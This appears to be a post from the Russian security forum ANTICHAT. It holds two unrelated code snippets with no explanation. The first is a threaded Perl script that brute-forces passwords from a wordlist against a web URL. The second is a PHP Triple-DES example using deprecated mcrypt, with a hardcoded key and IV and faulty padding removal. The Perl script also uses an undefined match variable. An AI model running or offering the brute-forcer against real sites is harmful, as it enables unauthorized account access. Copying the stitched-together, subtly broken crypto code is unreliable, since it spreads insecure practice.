ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl -w
use LWP::UserAgent;
use threads;

##############
$threads = 5;
##############

open(PASS,"pass.txt");
@pass=<PASS>;

sub brut( $ ) {
    my $c = $_[0];
    for(my $i=$c;$i<scalar(@pass);$i+=$threads) {

        my $url = "ссылка".$pass[$i]."ссылка";
        my $br = LWP::UserAgent->new( ) or die;
        my $a = $br->get($url);
        if (index($a->content,$index)>-1)
        {
            print $pass[$i];
        }
    }
}

my @threadz;

for my $i (0..($threads-1)) {
	push @threadz, threads->create(\&brut, $i);

	sleep(1);
}


for(@threadz) {
	$_->join();
}

<?php
$key = "E4HD9h4DhS23DYfhHemkS3Nf";// 24 bit Key
$iv = "fYfhHeDm";// 8 bit IV
$input = "Text to encrypt";// text to encrypt
$bit_check=8;// bit amount for diff algor.

$str= encrypt($input,$key,$iv,$bit_check);
echo "Start: $input - Excrypted: $str - Decrypted: ".decrypt($str,$key,$iv,$bit_check);

function encrypt($text,$key,$iv,$bit_check) {
$text_num =str_split($text,$bit_check);
$text_num = $bit_check-strlen($text_num[count($text_num)-1]);
for ($i=0;$i<$text_num; $i++) {$text = $text . chr($text_num);}
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mcrypt_generic($cipher,$text);
mcrypt_generic_deinit($cipher);
return base64_encode($decrypted);
}

function decrypt($encrypted_text,$key,$iv,$bit_check){
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,base64_decode($encrypted_text));
mcrypt_generic_deinit($cipher);
$last_char=substr($decrypted,-1);
for($i=0;$i<$bit_check-1; $i++){
    if(chr($i)==$last_char){
        
        
        
        $decrypted=substr($decrypted,0,strlen($decrypted)-$i);
        break;
    }
}
return $decrypted;
}
?>